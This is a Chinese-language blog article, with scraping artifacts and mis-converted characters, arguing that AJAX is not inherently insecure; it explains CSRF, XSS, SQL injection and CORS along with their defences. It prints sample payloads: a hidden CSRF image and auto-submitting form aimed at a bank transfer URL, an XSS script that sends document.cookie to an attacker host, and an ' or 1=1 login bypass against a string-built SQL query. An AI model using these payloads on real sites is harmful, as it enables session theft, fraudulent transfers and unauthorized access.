AJAX請求真的不安全麼?javascript
AJAX請求哪裏不安全?css
怎麼樣讓AJAX請求更安全?html
本文包含的內容較多,包括AJAX,CORS,XSS,CSRF等內容,要完整的看完並理解須要付出必定的時間。前端
另外,看法有限,若有描述不當之處,請幫忙及時指出。java
正文開始...ajax
從入坑前端開始,一直到如今,AJAX請求都是以極高的頻率重複出現,也解決過很多AJAX中遇到的問題,如跨域調試,錯誤調試等等。sql
從這種,發現了一個共通現象:那就是每次和後臺人員對接時,他們都會提到AJAX請求不安全
,請用普通http請求!數據庫
雖然不少時候,都是通過多翻口舌之爭後,最終後臺那邊妥協,容許部分符合條件的AJAX請求。可是,我卻很糾結一個問題:AJAX請求真的不安全麼?爲何我本身寫後臺時並無發現這個問題?segmentfault
因而,開始準備蒐集資料,結合本身已有的認知,整理成一份解決方案,分析AJAX請求真的不安全麼?哪裏不安全?
,後續遇到相似的問題就直接向對方拋出一篇文章後端
AJAX請求真的不安全麼
常見的幾種Web前端安全問題
CSRF簡介
CSRF與AJAX的關係
XSS簡介
XSS與AJAX的關係
SQL注入簡介
SQL注入與AJAX的關係
AJAX和HTTP請求的區別
CORS與AJAX安全性之間的關聯
CORS與AJAX關係的簡介
爲何要配置CORS?
CORS會配置些什麼信息?
CORS Origin: *
的安全性
再看,AJAX請求真的不安全麼?
AJAX請求哪裏不安全?
怎麼樣讓AJAX請求更安全?
首先,先說一個定論:AJAX請求是否安全,由服務端(後臺)決定
有這樣一個說法:若是某個Web應用具有良好的安全性,那麼再怎麼用「不安全的AJAX」也削弱不了它的安全性,反之若是應用自己存在漏洞,無論用何種技術請求,它都是不安全的
爲什麼會有這種說法?由於在Web應用中,客戶端輸入不可信是一個基本原則
在AJAX出現時,那時的服務端仍是很古老的那一批,所以徹底沒有考慮到AJAX出現後,前端請求方式會變得異常複雜,形成之前的安全策略已經沒法知足要求了,致使大批的後臺安全漏洞曝光。。。
很顯然,都是由於AJAX出現後曝光了更多的安全漏洞,致使它看起來很危險(由於AJAX出現後,請求方式變多了,之前的架構在新的請求中就可能出現更多漏洞)
So,AJAX不安全的說法天然擴散到了各個角落。
要知道AJAX請求是否安全,那麼就得先知道Web前端中到底有那幾種安全問題
1.XSS(跨站腳本攻擊)(cross-site scripting) -> 僞造會話(基於XSS實現CSRF) -> 劫持cookie -> 惡意代碼執行 2.CSRF(跨站請求僞造)(cross-site request forgery) -> 僞造用戶身份操做 3. SQL注入 ...(其它暫且不提) 複製代碼
如上,Web前端中的安全問題主要就是這幾大類(僅列舉部分作分析),因此咱們首先要分析AJAX與這幾大類之間的關係。(XSS
和CSRF
,在下文也會作簡單介紹。)
CSRF,特徵很簡單:冒用用戶身份,進行惡意操做
時至今日,這項安全漏洞已經被人們剖析的很透徹了,隨便Google,百度之,都會找到不少的解釋。這裏也用一張圖來先作簡單描述:
(注,下面介紹參考了來源文章中的描述,譬如圖就是參考了來源中的博文後重繪的)
因此,咱們看到關鍵條件是:
1. 採用cookie來進行用戶校驗 2. 登陸受信任網站A,並在本地生成Cookie 3. 在不登出A的狀況下,訪問危險網站B 複製代碼
通常在(4)
處惡意網站(B)
的攻擊手段以下(必須是指向A
的地址,不然沒法帶上cookie):
// 1.譬如在網站內的圖片資源中潛入惡意的轉帳操做 <img src=http://www.bank.example/transfer?toBankId=hello&amount=1000000 width='0' height='0'> // 2.構建惡意的隱藏表單,並經過腳本提交惡意請求 <iframe style="display: none;" name="csrf-frame"></iframe> <form method='POST' action='http://www.bank.example/transfer' target="csrf-frame" id="csrf-form"> <input type='hidden' name='toBankId' value='hello'> <input type='hidden' name='amount' value='1000000'> <input type='submit' value='submit'> </form> <script>document.getElementById("csrf-form").submit()</script> 複製代碼
並且,從頭至尾,攻擊網站都沒有獲取到過 cookie,都是經過瀏覽器間接實現(利用Web的cookie隱式身份驗證機制),因此HttpOnly
並不會影響這個攻擊
最後說下,幾種常見的CSRF防護手段:
1. 驗證HTTP Referer字段(很是簡單,可是鑑於客戶端並不可信任,因此並非很安全) (防止CSRF,檢查Referer字段簡單直接,可是其徹底依賴瀏覽器發送正確的Referer字段。 雖然http協議對此字段的內容有明確的規定,但並沒有法保證來訪的瀏覽器的具體實現, 亦沒法保證瀏覽器沒有安全漏洞影響到此字段。而且也存在攻擊者攻擊某些瀏覽器,篡改其Referer字段的可能。) 2. 在請求地址中添加token並驗證 (譬如post中,以參數的形式加入一個隨機產生的token) 複製代碼
上文中,咱們看到CSRF的前提是cookie驗證用戶身份,那麼它與AJAX的關係大麼?
咱們先分析AJAX中帶cookie驗證的狀況:
1. AJAX受到瀏覽器的同源策略限制 2. AJAX默認沒法請求跨域的接口 (固然後臺能夠配置`Access-Control-Allow-Origin: *`之類的容許全部的跨域請求) 3. AJAX請求沒法攜帶跨域cookie (若是強行開啓withCredentials,必須服務端配合認證,沒法用做攻擊) 複製代碼
嗯哼...看到這,基本就能夠認爲CSRF與AJAX請求無緣了。。。
譬如假設上圖中第4
部分的請求由AJAX發起,假設網站A已經容許了Access-Control-Allow-Origin: *
,因爲網站B與網站A是不一樣域名,因此存在跨域,根據同源策略,請求時根本就沒法攜帶cookie,故而沒法經過身份認證,攻擊失敗。。。 就算強行開啓withCredentials,攜帶跨域cookie,可是因爲服務端並不會單獨配置網站B的跨域cookie(需配置Access-Control-Allow-Credentials: true
,並且這時候不容許設置Allow-Origin: *
),因此確定認證失敗
能夠看到,就算Access-Control-Allow-Origin: *
容許全部來源的AJAX請求,跨域的cookie默認狀況下仍然是沒法攜帶的,沒法CSRF
因此說,結論是:CSRF與AJAX無關
既然CSRF與AJAX關係不大,那麼XSS應該會與AJAX有很大關係吧?(要否則爲何一直說AJAX請求不安全,對吧。)。那麼請繼續看下去(本文中只限JS範疇)
XSS(cross-site scripting),看起來簡寫應該是css更合適。。。可是爲了和層疊式樣式表區分,就用XSS簡寫表示
XSS的特徵也能夠歸納爲:跨域腳本注入,攻擊者經過某種方式將惡意代碼注入到網頁上,而後其餘用戶觀看到被注入的頁面內容後會受到特定攻擊
相比CSRF,XSS囊括的內容更多,並且每每是多種攻擊形式組合而成,這裏之前文中介紹的幾種爲例:
1.cookie劫持
一樣,頁面中有一個評論輸入,輸入後會,由於後臺的漏洞,沒有過濾特殊字符,會直接明文保存到數據庫中,而後展現到網頁時直接展現明文數據,那麼以下
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <form action="saveComment.jsp" method="post"> 請輸入評論內容:<BR> <input name="content" type="text"> <input type="submit" value="確認"> </form> 複製代碼
而後攻擊者分析後,輸入
<script>window.open("http://www.attackpage.com/record?secret=" + document.cookie)</script> 複製代碼
保存文章。很簡單的代碼,因爲沒有過濾腳本,那麼其它用戶登錄後,在看到這篇文章時就會自動將他們的cookie信息都發送到了攻擊者的服務器。 攻擊者能夠在cookie(譬如jsessionid對應的session)有效期內拿它們冒充用戶操做。
須要注意,這裏和CSRF的區別是,這裏是拿到了cookie後主動冒充用戶的,而CSRF中根本就不知cookie,僅利用瀏覽器的隱式校驗方式冒充用戶。
2.會話僞造
一樣是評論漏洞的示例。
攻擊者輸入(舉例比喻)
<img src=http://www.bank.example/transfer?toBankId=hello&amount=1000000 width='0' height='0'> 複製代碼
而後,接下來發生的故事就和CSRF中提到的一致。這種狀況就是基於XSS而開展的CSRF,也有人喜歡稱之爲XSRF
須要注意,這裏並無本身拿到cookie,而是CSRF中提到的利用瀏覽器的隱式驗證機制來冒充用戶。
3.其它惡意代碼執行
其實上面的cookie劫持以及會話僞造都算是惡意代碼執行,爲了區別,這裏就專指前端的流氓JS。
譬如前面的評論中的輸入能夠是:
譬如市面上盛行的網頁遊戲彈窗等。
譬如干脆直接讓這個頁面卡死均可以。
譬如無限循環。
複製代碼
這裏再提一點,上述都是從前端輸入做爲入口的,但實際上有一類的輸入也不可忽視,那就是:富文本攻擊
它的特色就是: 富文本中注入了腳本,而且先後端未進行過濾,致使直接輸出到了頁面中
由於存在不少頁面,都是將富文本內容展現到網頁上的,沒有進行過濾(哪怕時至今日,仍然有很多頁面),這樣只要富文本中有注入腳本,基本就中招了。。。
結論:
只要最終能向頁面輸出可執行的腳本語句,那麼就是有漏洞,XSS攻擊都有可能發生。
並且,基本上xss漏洞是很普遍的,雖然攻擊類型很被動,也須要大量時間分析,但勝在大量的網站上都存在(特別是那種長期不更新的)
再提一點。上述的介紹更多的是從形成的後果來看,但其實若是從攻擊手動來看的話能夠分爲幾大類型:反射型XSS攻擊
(直接經過URL注入,並且不少瀏覽器都自帶防護),存儲型XSS攻擊
(存儲到DB後讀取時注入),還有一個DOM-Based型
。
上述示例中都是存儲型,具體更多內容網上已經有很詳細的資料,這裏再也不繼續深刻,放一張圖鞏固下。
如何預防XSS:
輸入過濾,不信任用戶的任何輸入,過濾其中的「<」、「>」、「/」等可能致使腳本注入的特殊字符, 或者過濾「script」、「javascript」等腳本關鍵字,或者對輸入數據的長度進行限制等等, 還得考慮攻擊者使用十六進制編碼來輸入腳本的方式。
輸出進行編碼,和輸入過濾相似,不過是從輸出上着手,數據輸出到頁面時,通過HtmlEncoder等工具編碼,這樣就不會存在直接輸出可執行的腳本了
cookie設置http-only
,這樣用腳本就沒法獲取cookie了 (這樣只有瀏覽器向Web服務器發起請求的時纔會帶上cookie字段,避免了XSS攻擊利用JavaScript的document.cookie獲取cookie)
Cookie防盜,儘量地避免在Cookie中泄露隱私,如用戶名、密碼等; 或者,爲了防止重放攻擊,能夠將Cookie和IP進行綁定,這樣也能夠阻止攻擊者冒充正經常使用戶的身份。
注意,特別是後臺,必定不能信任前端的輸入,須要過濾與校驗
以上分析了XSS形成一些影響與問題,仍然發現:與AJAX關係不大,由於這些問題無論用不用AJAX都會發生。
看看這種狀況,譬如上述的富文本注入中:
1. 某個接口採用AJAX交互 2. AJAX請求完後將對應富文本字段顯示到了頁面上-譬如innerHTML 複製代碼
可是,這真的與AJAX無關,這是先後端沒有進行輸入輸出過濾而形成的後果。
因此,仍是那句話:若是某個Web應用具有良好的安全性,那麼再怎麼用「不安全的AJAX」也削弱不了它的安全性,反之若是應用自己存在漏洞,無論用何種技術請求,它都是不安全的
sql注入展開將也是一門很大的學問,很早之前更是大行其道(固然,如今...),這裏僅僅舉幾個最極端的示例。
前提是後臺沒有過濾前端的輸入數據,不然根本沒法生效
假設頁面A中有一個登錄查詢存在拙劣的sql注入漏洞,這樣子的:(最極端,最傻的狀況)
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <form action="login.jsp" method="post"> 請輸入用戶名與密碼:<BR> <input name="name" type="text"> <input name="password" type="text"> <input type="submit" value="登錄"> </form> 複製代碼
在接收到登錄請求後,服務端的實際執行代碼時是:
String sql = "SELECT * FROM users WHERE name = '" + name + "' AND password = '" + password + "'"; 複製代碼
然而有攻擊者分析出後臺可能存在漏洞,嘗試sql注入攻擊,輸入
name = ' or 1=1
password = anything
複製代碼
那麼這樣,後臺接收到數據後,實際上查詢的結果是
SELECT * FROM users WHERE name = ' ' or 1=1 AND password = 'anything' 複製代碼
故而,攻擊者成功的繞過的用戶名,利用後臺漏洞登錄了。
固然了,像這類這麼低級的漏洞,現象幾乎已經不存在了,每每這類型漏洞須要仔細分析,耗時。(又或者是有內奸。。。)
額,從上述的示例中看不出和AJAX有什麼關係。可是咱們能夠這樣假設:
1. 有一個接口,接收AJAX post的數據 2. 數據中有一個字段 'name',後臺接收到後沒有進行過濾,直接如上面的演示同樣,執行sql語句了 3. 因此AJAX中若是給那個字段傳入非法的注入信息,就會觸發這個漏洞,致使攻擊生效 複製代碼
對,就是這樣極端的狀況下才會發生,並且與AJAX並無關係,由於換成任何一種其它請求都會有相似的狀況。。。
因此說,結論是:SQL注入與AJAX無關
從本質上將:AJAX就是瀏覽器發出的HTTP請求,只不過是瀏覽器加上了一個同源策略限制而已。
AJAX請求的XMLHTTPRequest
對象就是瀏覽器開放給JS調用HTTP請求用的。
那麼AJAX和HTTP的區別呢?列出如下幾點:
AJAX請求受到瀏覽器的同源策略限制,存在跨域問題
AJAX在進行復雜請求時,瀏覽器會預先發出OPTIONS
預檢(HTTP本身是不會預檢的)
從使用角度上說,AJAX使用簡單一點,少了些底層細節,多了些瀏覽器特性(如自動帶上同域cookie等)
因此說,和認證上的HTTP請求的區別就是-多了一次瀏覽器的封裝而已(瀏覽器會有本身的預處理,加上特定限制)
可是,從最終發出的報文來看,內容都是同樣的(HTTP協議規範的內容),AJAX是發送HTTP請求的一種方式
因此從這一點能夠得出一個結論:AJAX本質上安全性和HTTP請求同樣
按照前文中提到的內容,基本沒法得出AJAX與請求不安全的關聯。那麼接下來,再繼續分析,若是使用了跨域資源共享(CORS)後的安全性。 (由於每每ajax都會伴隨着CORS)
這是一個跨域共享方案,大體流程就是:(僅以複雜請求的預檢舉例-這一部分要求提早掌握CORS相關知識)
1. 前端AJAX請求前發出一個OPTIONS預檢,會帶一堆相關頭部發送給服務端 2. 服務端在接受到預檢時,檢查頭部,來源等信息是否合法,合法則接下來容許正常的請求, 不然直接無情的拒絕掉 3. 瀏覽器端若是收到服務端拒絕的信息(響應頭部檢查),就拋出對應錯誤。 不然就是正常的響應,接下來發出真正的請求(如POST) 複製代碼
請求和響應的頭部信息大概以下:
Request Headers
// 在CORS中專門做爲Origin信息供後端比對,表示來源域。 Origin: http://xxx Access-Control-Request-Headers: X-Requested-With // 全部用setRequestHeader方法設置的頭部都將會以逗號隔開的形式包含在這個頭中,通常POST請求中就會帶上 Access-Control-Request-Method: OPTIONS 複製代碼
Response Headers
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Origin: http://xxx 複製代碼
最終,客戶端發出的請求,必須符合服務端的校驗規則才能正確,服務端纔會返回正確頭部,不然只會請求失敗。報跨域錯誤。
以上僅是簡介,更多信息能夠參考來源中的ajax跨域,這應該是最全的解決方案了
由於同源策略限制,AJAX沒法請求跨域資源,CORS能夠解決AJAX跨域請求問題。
所以:在本文中,配置CORS只是爲了AJAX能跨域請求
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Origin: http://xxx 複製代碼
如上,加上這個配置後,必須符合要求的纔算是正常的請求,不然就會拒絕掉,通常AJAX跨域的話都會有OPTIONS,因此在預檢中就作了這一步。
能夠看到,關鍵的可變信息是:Access-Control-Allow-Origin: http://xxx
這個配置就是域名白名單,規定在什麼樣的域名下才能進行AJAX跨域請求。
Origin: *
的安全性關鍵問題來了,在上面的CORS配置是這樣的:
Access-Control-Allow-Origin: http://xxx 複製代碼
可是這個配置只容許特定域名訪問,鑑於前端的複雜性,有時候調試起來不是很方便,所以有時候,會偷懶的設置爲:
Access-Control-Allow-Origin: *
複製代碼
這個表明全部來源的跨域AJAX請求都能正常響應。
接下來咱們再來分析設置Origin: *
可能帶來哪些問題。(都是基於AJAX的狀況)
問題1:會對cookie認證形成影響麼?
不會。雖然*
表明了全部來源都能正常請求,可是同源策略下,是沒法帶上跨域cookie的。所以根本沒法用身份驗證。
並且,就算用withCredentials
強行帶上跨域cookie,由於後臺沒有支持,因此會報錯。(這能夠當作是CORSs模型的最後一道防線)
再者,後臺就算配置Access-Control-Allow-Credentials
容許跨域cookie,可是這時候的安全策略是Origin
不容許爲*,必須是一個明確的地址。 (不然你就能夠看到瀏覽器的報錯信息-跨域cookie時,Origin不容許爲*)
問題2:若是僞造Origin頭部呢?
首先,標準的瀏覽器中是不容許你僞造的(除非有嚴重漏洞),因此通常須要經過模擬客戶端請求僞造。
可是。在非瀏覽器狀況下,原本就沒有同源策略。這又是何須。。。
因此說,僞造Origin與CORS並無關係。
問題3:若是後臺原本就存在漏洞呢?
作這樣一個假設,假設用戶所在網絡的內網中有一臺內網服務器,而且配置了容許全部的跨域請求:(固然,外網是請求不到內網的)
// 容許任何來自任意域的跨域請求 Access-Control-Allow-Origin: * 複製代碼
再假設內網服務器上恰巧存在敏感資源,而且沒有額外設防,只要內網就能訪問。譬如:
192.168.111.23/users.md 複製代碼
而後用戶訪問了惡意網頁,而像HTML之類的網頁都是下載到本地執行的, 正好網頁內有惡意代碼,去向192.168.111.23/users.md
請求資源,再將接收到的服務端返回發送到攻擊者服務器。 (由於加了Origin爲*,並且AJAX是由本地瀏覽器發出的,因此用戶下載到本地的惡意網站是能夠訪問到用戶內網中的後臺的)
而後這些敏感數據就這樣被盜取了。
But,這是由於服務端漏洞而存在的問題,設置Origin爲的後臺上爲什麼要放置敏感資源?正常設置爲Origin爲的最大做用是用做公共API。 並且更重要的是,爲什麼敏感資源就這樣輕易的被獲取了?爲何沒有二次驗證?
SO,後臺自己有漏洞,因此才致使被攻擊,AJAX剛好是攻擊的手段之一(除了AJAX外還會有其它的方式),因此不少鍋都甩到了AJAX頭上。
這樣,能夠得出一個保守點的結論:
Origin若是不是*
,AJAX請求並不會有安全問題,若是是*
,可能會因爲後臺的漏洞,不經意間,AJAX就被做爲一種攻擊手段了,致使了出現AJAX不安全的說法
仍然是最初的結論:
若是某個Web應用具有良好的安全性,那麼再怎麼用「不安全的AJAX」也削弱不了它的安全性,反之若是應用自己存在漏洞,無論用何種技術請求,它都是不安全的
咱們能夠看到,XSS也好,CSRF也好,以及其它隱藏的可能漏洞也好,本質上都是後臺已有漏洞形成的問題,AJAX最可能是被用做一種攻擊手段(甚至某些裏面AJAX還沒法使用)
提到AJAX請求不安全的,譬若有CORS裏面配置Origin: *
形成某些極端狀況下能經過AJAX發出攻擊。但事實上這也是其中的一種攻擊手段而已,沒有AJAX,該不安全的仍然不安全。
譬如還有的說法是:由於在AJAX出現之前,若是出現安全漏洞,容易被察覺,但AJAX是異步的,更容易隱式的出現安全問題。。。這也與安全性的本質無關。
最重要一點,從Web應用安全角度來談,Web應用必須從不信任客戶端。因此不要再把鍋甩給AJAX。
同上,AJAX自己並不存在這種安全問題。
不過有一點需注意,若是使用了CORS方案。
1. Allow-Origin能夠設置特定的值,過濾特定的白名單 2. 對於一些公共的API,能夠直接將Allow-Origin設置爲`*` 3. 固然,若是確認後臺沒有這些隱藏漏洞,能夠直接使用`*`,畢竟也只是針對瀏覽器的同源策略而已,影響沒有那麼大。 複製代碼
仍然是文中反覆提到的結論:
讓Web後臺更安全,則AJAX請求也更安全,反以後臺有漏洞,無論怎麼樣都是不安全的
這樣的話,應該能夠把AJAX不安全的鍋甩掉了吧?